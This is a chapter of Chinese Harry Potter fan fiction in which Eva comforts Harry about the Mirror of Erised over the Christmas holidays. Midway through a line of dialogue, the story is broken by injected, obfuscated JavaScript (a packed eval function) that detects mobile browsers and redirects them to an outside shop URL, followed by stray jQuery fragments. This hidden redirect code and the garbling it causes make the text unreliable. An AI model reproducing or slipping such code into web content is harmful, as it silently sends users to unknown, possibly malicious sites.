圣诞假期的最后几天，时间好像被冻住了，过得特别慢。每天早上，Eva醒来时都能看见窗玻璃上结着新的霜花，形状每天都不同——今天像羽毛，明天像树叶。素雪喜欢用喙去啄那些花纹，嗒嗒嗒的，在安静的早晨格外清脆。


    城堡里还是那么少的人。Eva渐渐熟悉了每个留校学生的脚步声：罗伯特的脚步又快又稳，秋的脚步声很轻，赫敏走路时总带着一种着急的、要去什么地方的节奏。她自己呢？她试过听——轻轻的，一步一步，不慌不忙。


    她没去交论文。麦格教授说过假期后第一周交，她就等假期结束。反正写完了，卷好了，用蓝丝带扎着放在书桌上，每天看一眼，心里踏实。


    更多的时间，她坐在公共休息室的窗边，膝盖上摊着爷爷的笔记，但眼睛看着窗外。雪有时下，有时停。停的时候，阳光照在雪地上，白得晃眼，她得眯起眼睛。下的时候，雪花密密地飘，把远处禁林的轮廓都模糊了。


    秋有时候会来她旁边坐下，织那条永远织不完的围巾。现在围巾已经很长了，秋开始织另一条，说是给妹妹的。


    “你妹妹也在霍格沃茨吗？”Eva问。


    “还没，”秋说，织针在她手里稳稳地动，“她才九岁。但我妈妈让我提前准备，说反正冬天长，织着玩。”她顿了顿，“其实我知道，她是想让我有点事做，别总想家。”


    “你想家吗？”Eva轻声问。


    秋的手指停了一下：“有时候。特别是晚上，躺下的时候。会想我妈妈做的叉烧包，想我爸爸读报纸的声音。”她笑了，“但这里也很好。有朋友，有魁地奇，有……”她指了指窗外，“这么好看的雪。”


    Eva点点头。她也想家，但那种想念是温和的，像背景音乐，一直在那儿，但不吵。


    直到那天下午，她在三楼拐角碰到哈利。


    他一个人走着，低着头，手里攥着隐形衣的一角——银色的布料从指缝漏出来，在昏暗走廊里泛着幽光。他走得很慢，脚步拖沓，不像平时那个急着去训练或者找朋友的哈利。


    “嗨。”Eva轻声说。


    哈利抬起头。Eva心里“咯噔”一下——他的眼睛下面有深色的阴影，不是没睡好的那种青黑，是更深的、像淤伤一样的颜色。绿眼睛也不像平时那么亮，有点雾蒙蒙的。


    “嗨。”他应了一声，声音哑哑的。


    “你还好吗？”Eva问。其实不用问，光看就知道不好。


    哈利扯了扯嘴角，想笑，但没笑出来：“还好。就是……没睡好。”


    他们一起往楼下走。旋转楼梯今天特别安静，只有他们的脚步声。Eva走在前头，哈利跟在后面，隔了两级台阶。她能感觉到他的目光落在自己背上，但不是平时那种友好的注视，是……涣散的，像在看很远的地方。


    走到二楼平台时，哈利突然开口：“我又去看那面镜子了。”


    Eva停下脚步，转过身。哈利站在下面两级台阶上，抬着头看她，绿眼睛里的雾气更重了。


    “昨晚去的，”他继续说，声音低得像自言自语，“待了很久。费尔奇差点发现我，但我躲在隐形衣里，他看不见。”


    “哈利……”Eva想说点什么，但话卡在喉咙里。她想起上次的谈话，想起自己说的“墨太浓”“路要自己走”。那些话现在听起来干巴巴的，像课本上的道理，解不了眼前的渴。


    “我知道你要说什么，”哈利打断她，语气里没有不耐烦，只有疲惫，“我知道那不是真的。我知道我应该……走出来。”他顿了顿，手指无意识地摩挲着隐形衣的布料，“可是Eva，当你什么都没有的时候，假的也比空的好。”


    这话像一根细针，轻轻扎进Eva心里。她忽然意识到，自己上次说的话，虽然没错，但太……站在岸上了。她是在对水里的人说“快游上来”，却没想过水里有多冷，岸有多远。


    “对不起。”她轻声说。


    哈利愣了一下：“什么？”


    “对不起，”Eva重复道，走下两级台阶，站到他面前，“我上次说的话……太轻松了。我没有你的经历，我不该说得好像很简单。”


    哈利看着她，绿眼睛里的雾气好像淡了一点，露出底下真实的困惑和疲惫：“不，你说得对。我确实……不该沉迷。只是……”他咬了咬嘴唇，“只是有时候，控制不住。”


    Eva点点头。她懂什么叫“控制不住”。就像她小时候在柏林，明知道不能碰那个花瓶，但手指就是伸出去了。有些东西，越是告诉自己别想，越是往脑子里钻。


    “镜子里的他们……”她小心地问，“和上次一样吗？”


    “一样，”哈利说，声音柔和了些，“爸爸妈妈，爷爷奶奶，还有一些我不认识但感觉很亲的人。他们都在笑，对我招手。妈妈会整理我的头发，爸爸会拍拍我的肩……”他停了停，声音更低了，“有时候我会对他们说话。小声说，怕被人听见。说魁地奇训练的事，说魔药课被斯内普骂的事，说……说想他们。”


    走廊里很安静。远处传来画像的鼾声，一阵一阵的。


    Eva静静听着。她没有说“他们听不见”，也没有说“那是假的”。她只是听着，像听雨声一样，不打断，不评价。


    等哈利说完，她才开口：“你跟他们说话的时候，心里会好受一点吗？”


    哈利想了想，点点头：“会。就好像……有人听。”


    “那就让它帮你，”Eva轻声说，“但别让它困住你。”


    哈利困惑地看着她。


    “我的意思是，”Eva慢慢组织语言，“如果你需要对着镜子说话，才能把心里的话说出来……那就说。但说完之后，记得转过身，回到这里来。”她指了指走廊，指了指窗外的雪，“因为这里也有需要听你说话的人。罗恩，赫敏，伍德队长……还有我。”


    她顿了顿，想起秋织围巾时说的话：“照片是照片，生活是生活。镜子也一样。你可以看，但记得回家的路。”


    哈利沉默了很长时间。他低头看着手里的隐形衣，银色布料软软地垂着，像一捧水，抓不住。


    “我试试。”最后他说，声音很轻，但很认真。


    那天晚上，Eva没去图书馆。她坐在公共休息室的壁炉边，膝盖上摊着书，但没看进去。脑子里反复回响着哈利的话——“假的也比空的好”。


    秋走过来，在她旁边的扶手椅坐下，手里拿着新织的围巾。这次是给妹妹的，粉蓝色，很柔和。


    “你看起来有心事。”秋轻声说。


    Eva点点头，但没说什么。哈利的事是秘密，是他的脆弱，她不能随便说。就像她不会把爷爷笔记里的内容拿出来讨论一样——有些东西太私人，只能自己守着。


    秋也没追问，只是把织好的那段围巾递过来：“摸摸看，软不软？”


    Eva摸了摸。毛线很软，织得密密的，手感很好。


    “很软。”她说。


    “那就好，”秋笑了，“我妹妹皮肤敏感，太粗糙的会痒。”她又织了几针，然后说，“有时候，看着别人难过，自己也会难过。但又帮不上忙，对吧？”


    Eva抬起头。秋的眼睛在炉火光里温柔地亮着。


    “嗯。”她应了一声。


    “那就陪着，”秋说，织针在她手里稳稳地动，“有时候，陪着就是最大的帮忙。”


    接下来的几天，Eva注意到哈利的变化。他还是会消失——穿着隐形衣，不知道去哪儿。但消失的时间短了。晚餐时他会出现，虽然吃得不多，但会来。魁地奇训练他也去，伍德抱怨他“注意力不集中”，但至少他去了。


    有一天晚饭后，Eva在猫头鹰棚屋碰到他。哈利正看着窗外，手里拿着一封信——没封口，Eva瞥见开头是“亲爱的爸爸妈妈”。


    “要寄吗？”她轻声问。


    哈利摇摇头：“不寄。没地址。”他把信折好，塞进口袋，“就是……写出来，舒服点。”


    Eva点点头。她懂。就像她给爷爷写信，有些话写出来了，心里就松了。


    “你要寄信吗？”哈利问。


    “嗯，”Eva从书包里拿出给爷爷的信，“问点事。”


    素雪飞过来，落在她肩上。哈利看着她把信系好，轻声说：“你的猫头鹰真漂亮。”


    “它叫素雪。”Eva说，摸了摸素雪的头。


    “很好的名字。”哈利看着素雪飞入夜色，银色身影很快消失在雪花中。然后他转过头，看着Eva：“谢谢。”


    “谢什么？”


    “所有。”哈利说，绿眼睛在昏暗光线下闪着温和的光，“谢谢你听我说，谢谢你不……不说那些‘你应该怎样’的话。”


    Eva摇摇头：“我说过的。上次就说过。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980629|193567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那不一样，”哈利说，“上次你是告诉我道理。这次你是……陪我站在这里。”


    窗外的雪下得更大了。猫头鹰棚屋里很冷，但Eva觉得心里暖融融的。


    那天晚上，Eva做了个梦。梦见自己站在一面巨大的镜子前，镜子里是江南老宅，爷爷坐在院子里磨墨。她想走过去，但镜面像水一样，手伸进去，只碰到一片冰凉。


    她醒来时，天还没亮。窗玻璃上的霜花在月光下像银色的蕾丝。她躺了一会儿，听着曼蒂平稳的呼吸声，心里那股“炁”轻轻流转，平和而安稳。


    爷爷的回信在两天后到了。素雪落在窗台上时，羽毛上还沾着雪花。信很简短，爷爷的字一如既往地端正：


    “丽华：见信如晤。所问之事，古人有云：‘执象而求，咫尺千里。’影子留不住，路在脚下。朋友难过时，陪伴即是灯。勿急，勿慌，顺其自然。爷爷字。”


    Eva把信读了三遍。“执象而求，咫尺千里”——执着于表象，反而离真相更远。爷爷说得对。


    她把信小心收好，放进绢帛笔记里。然后起身，推开窗。冷空气涌进来，带着雪的味道。远处，禁林边缘的树在晨光里显出深色的轮廓，像用墨笔勾勒出来的。


    假期最后一天，城堡里渐渐有了人气。提前回来的学生拖着行李箱走过走廊，声音嘈嘈切切的。Eva坐在公共休息室窗边，看着下面院子里几个学生在打雪仗，笑声飘上来，脆脆的。


    秋走过来，抱着她那堆毛线：“明天就正式上课了。你的论文准备好了吗？”


    “嗯。”Eva点头。


    “那就好，”秋在她旁边坐下，“一年级下学期会更忙。我听说魔药课要开始熬制复杂药水了，变形术要学把甲虫变成纽扣……”


    她絮絮地说着，声音温和，像背景音乐。Eva听着，偶尔应一声，心思却飘到别处。


    她在想哈利。不知道他这个假期最后几天是怎么过的。还会去看镜子吗？还是找到了别的“说话”的方式？


    晚饭时，她看见了答案。


    哈利和罗恩、赫敏一起走进礼堂，三个人边走边说笑。哈利走在中间，罗恩在比划着什么魁地奇动作，赫敏在纠正他的语法。哈利听着，脸上带着笑——虽然还有点疲惫，但那是真笑，眼睛亮亮的。


    他看见Eva，对她挥了挥手。Eva也挥了挥手。


    那天晚上，Eva很早上床。躺在黑暗中，听着窗外细微的风声，她想起爷爷信里的话：“陪伴即是灯。”


    也许她不需要做什么特别的。不需要说多么智慧的话，不需要找到完美的解决办法。只需要在朋友需要的时候，陪在旁边，像一盏小灯，不太亮，但足够照见脚下的路。


    假期结束前的一天，Eva去猫头鹰棚屋给爷爷寄回信时，又碰到了哈利。他看起来比上次平静了些，但绿眼睛里多了一层复杂的、像是被大人说中心事后的那种微窘和释然。


    “Eva，”他主动开口，声音有点闷，“我后来……还是去看镜子了。”


    Eva安静地看着他，没说话。


    “然后邓布利多教授来了。”哈利苦笑了一下，揉了揉头发，“他就那么出现了，好像早知道我在那儿。”


    “他说什么了？”


    “他说那镜子叫厄里斯魔镜，能照出人内心最深的渴望。”哈利的声音低了下去，“他说我看到的不是真的，只是……我想看到的。还说，明天镜子就会被搬到别的地方去，我再也找不到了。”他顿了顿，试着模仿邓布利多的语气，但学得不太像，“‘沉湎于虚幻的梦想，而忘记现实的生活，这是毫无益处的。’”


    说完这句话，哈利安静了一会儿，然后抬起头：“你知道吗，他说完那句话，我一下子就想到了你上次跟我说的。关于‘墨太浓’‘路要自己走’。你们……说的其实是一个意思，对不对？”


    Eva点点头。


    “他没有骂我，”哈利继续说，语气轻松了些，“就是跟我说了那些话，然后让我回去睡觉。第二天镜子真的不见了，我找遍了四楼所有空教室都没找到。”


    他靠在棚屋的木栏杆上，望着窗外暮色中的城堡：“其实……这样也好。知道它被搬走了，我反而不用每天想着要不要去看。就像你说的，得给自己留条回来的路。”


    从那天起，哈利确实再也没提过要去找镜子。赫敏说，他好像“走出来了”。